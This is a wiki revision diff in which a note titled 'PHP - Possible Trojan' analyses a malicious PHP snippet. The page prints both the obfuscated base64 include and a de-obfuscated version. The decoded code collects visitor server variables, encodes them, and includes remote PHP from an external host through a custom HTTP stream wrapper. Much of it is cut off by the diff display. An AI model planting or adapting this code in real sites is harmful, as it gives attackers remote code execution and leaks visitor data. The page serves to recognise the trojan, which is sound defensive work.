php:possible_trojan
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
php:possible_trojan [2016/10/14 22:39] – created peter | php:possible_trojan [2020/07/15 09:30] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== PHP - Possible Trojan ====== | ====== PHP - Possible Trojan ====== | ||
+ | The code seems to include external PHP code from another website and collects information about your visitors while doing so. | ||
<code php> | <code php> | ||
Line 39: | Line 39: | ||
if ((include(base64_decode(" | if ((include(base64_decode(" | ||
else {include(base64_decode(" | else {include(base64_decode(" | ||
+ | } | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | ===== de-obfuscated ===== | ||
+ | |||
+ | <code php> | ||
+ | |||
+ | |||
+ | <?php | ||
+ | class newhttp | ||
+ | { | ||
+ | var $fullurl; | ||
+ | var $p_url; | ||
+ | var $conn_id; | ||
+ | var $flushed; | ||
+ | var $mode = 4; | ||
+ | var $defmode; | ||
+ | var $redirects = 0; | ||
+ | var $binary; | ||
+ | var $options; | ||
+ | var $stat = array ( | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ' | ||
+ | ); | ||
+ | |||
+ | function error($msg = 'not connected' | ||
+ | if ($this-> | ||
+ | trigger_error($msg, | ||
+ | } | ||
+ | return false; | ||
+ | } | ||
+ | |||
+ | function stream_open($path, | ||
+ | $this-> | ||
+ | $this-> | ||
+ | $this-> | ||
+ | $url = parse_url($path); | ||
+ | |||
+ | if (empty($url[' | ||
+ | return $this-> | ||
+ | } | ||
+ | $this-> | ||
+ | |||
+ | if (!$this-> | ||
+ | return false; | ||
+ | } | ||
+ | |||
+ | if (empty($url[' | ||
+ | $url[' | ||
+ | } | ||
+ | $this-> | ||
+ | $this-> | ||
+ | |||
+ | if ($mode[0] != ' | ||
+ | $this-> | ||
+ | } | ||
+ | $this-> | ||
+ | $c = $this-> | ||
+ | |||
+ | if (!isset($c[' | ||
+ | stream_context_set_option($this-> | ||
+ | } | ||
+ | |||
+ | if (!isset($c[' | ||
+ | stream_context_set_option($this-> | ||
+ | } | ||
+ | |||
+ | if (!isset($c[' | ||
+ | stream_context_set_option($this-> | ||
+ | } | ||
+ | |||
+ | if (!isset($c[' | ||
+ | stream_context_set_option($this-> | ||
+ | } | ||
+ | |||
+ | if (!isset($c[' | ||
+ | stream_context_set_option($this-> | ||
+ | } | ||
+ | return true; | ||
+ | } | ||
+ | |||
+ | function stream_close() { | ||
+ | if ($this-> | ||
+ | fclose($this-> | ||
+ | $this-> | ||
+ | } | ||
+ | } | ||
+ | |||
+ | function stream_read($bytes) { | ||
+ | if (!$this-> | ||
+ | return $this-> | ||
+ | } | ||
+ | |||
+ | if (!$this-> | ||
+ | return false; | ||
+ | } | ||
+ | |||
+ | if (feof($this-> | ||
+ | return ''; | ||
+ | } | ||
+ | $bytes = max(1, $bytes); | ||
+ | |||
+ | if ($this-> | ||
+ | return fread($this-> | ||
+ | } else { | ||
+ | return fgets($this-> | ||
+ | } | ||
+ | } | ||
+ | |||
+ | function stream_write($data) { | ||
+ | if (!$this-> | ||
+ | return $this-> | ||
+ | } | ||
+ | |||
+ | if (!$this-> | ||
+ | return $this-> | ||
+ | } | ||
+ | $c = $this-> | ||
+ | stream_context_set_option($this-> | ||
+ | |||
+ | if (stream_context_set_option($this-> | ||
+ | return strlen($data); | ||
+ | } | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | function stream_eof() { | ||
+ | if (!$this-> | ||
+ | return true; | ||
+ | } | ||
+ | |||
+ | if (!$this-> | ||
+ | return false; | ||
+ | } | ||
+ | return feof($this-> | ||
+ | } | ||
+ | |||
+ | function stream_seek($offset, | ||
+ | |||
+ | function stream_tell() { return 0; } | ||
+ | |||
+ | function stream_flush() { | ||
+ | if ($this-> | ||
+ | return false; | ||
+ | } | ||
+ | |||
+ | if (!$this-> | ||
+ | return $this-> | ||
+ | } | ||
+ | $c = $this-> | ||
+ | $this-> | ||
+ | $RequestHeaders = array ( | ||
+ | $c[' | ||
+ | ' | ||
+ | ' | ||
+ | ); | ||
+ | |||
+ | if (!empty($c[' | ||
+ | $RequestHeaders[] = $c[' | ||
+ | } | ||
+ | |||
+ | if (!empty($c[' | ||
+ | if ($c[' | ||
+ | $RequestHeaders[] = ' | ||
+ | } else { | ||
+ | $RequestHeaders[] = ' | ||
+ | } | ||
+ | $RequestHeaders[] = ' | ||
+ | } | ||
+ | $RequestHeaders[] = ' | ||
+ | |||
+ | if (fwrite($this-> | ||
+ | return false; | ||
+ | } | ||
+ | |||
+ | if (!empty($c[' | ||
+ | return false; | ||
+ | } | ||
+ | global $http_response_header; | ||
+ | $http_response_header = fgets($this-> | ||
+ | $data = rtrim($http_response_header); | ||
+ | preg_match('# | ||
+ | |||
+ | if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { | ||
+ | $data = rtrim(fgets($this-> | ||
+ | |||
+ | while (!empty($data)) { | ||
+ | if (strpos($data, | ||
+ | $new_location = trim(str_replace(' | ||
+ | break; | ||
+ | } | ||
+ | $data = rtrim(fgets($this-> | ||
+ | } | ||
+ | trigger_error($this-> | ||
+ | $this-> | ||
+ | return ($c[' | ||
+ | } | ||
+ | $data = rtrim(fgets($this-> | ||
+ | |||
+ | while (!empty($data)) { | ||
+ | $http_response_header .= $data . " | ||
+ | |||
+ | if (strpos($data, | ||
+ | $this-> | ||
+ | } elseif (strpos($data, | ||
+ | $this-> | ||
+ | } elseif (strpos($data, | ||
+ | $this-> | ||
+ | } | ||
+ | $data = rtrim(fgets($this-> | ||
+ | } | ||
+ | |||
+ | if ($head[1] >= 400) { | ||
+ | trigger_error($this-> | ||
+ | return false; | ||
+ | } | ||
+ | |||
+ | if ($head[1] == 304) { | ||
+ | trigger_error($this-> | ||
+ | return false; | ||
+ | } | ||
+ | return true; | ||
+ | } | ||
+ | |||
+ | function stream_stat() { | ||
+ | $this-> | ||
+ | return $this-> | ||
+ | } | ||
+ | |||
+ | function dir_opendir($path, | ||
+ | |||
+ | function dir_readdir() { return ''; | ||
+ | |||
+ | function dir_rewinddir() { return ''; | ||
+ | |||
+ | function dir_closedir() { return; } | ||
+ | |||
+ | function url_stat($path, | ||
+ | |||
+ | function context() { | ||
+ | if (!$this-> | ||
+ | $this-> | ||
+ | } | ||
+ | $c = stream_context_get_options($this-> | ||
+ | return (isset($c[' | ||
+ | } | ||
+ | } | ||
+ | $a = (isset($_SERVER[" | ||
+ | $b = (isset($_SERVER[" | ||
+ | $c = (isset($_SERVER[" | ||
+ | $d = (isset($_SERVER[" | ||
+ | $e = (isset($_SERVER[" | ||
+ | $f = (isset($_SERVER[" | ||
+ | $g = (isset($_SERVER[" | ||
+ | $h = (isset($_SERVER[" | ||
+ | $str = base64_encode($a) . " | ||
+ | . " | ||
+ | $rkht = 1; | ||
+ | |||
+ | if (version_compare(PHP_VERSION, | ||
+ | if (ini_get(' | ||
+ | $rkht = 1; | ||
+ | } else { | ||
+ | $rkht = 0; | ||
+ | } | ||
+ | } | ||
+ | |||
+ | if ($rkht == 1) { | ||
+ | if (ini_get(' | ||
+ | $rkht = 1; | ||
+ | } else { | ||
+ | $rkht = 0; | ||
+ | } | ||
+ | } | ||
+ | |||
+ | if ($rkht == 1) { | ||
+ | if ((include(" | ||
+ | else { | ||
+ | include(" | ||
+ | } | ||
+ | } else { | ||
+ | stream_wrapper_register(' | ||
+ | |||
+ | if ((include(" | ||
+ | else { | ||
+ | include(" | ||
+ | } | ||
} | } | ||
php/possible_trojan.1476484763.txt.gz · Last modified: 2020/07/15 09:30 (external edit)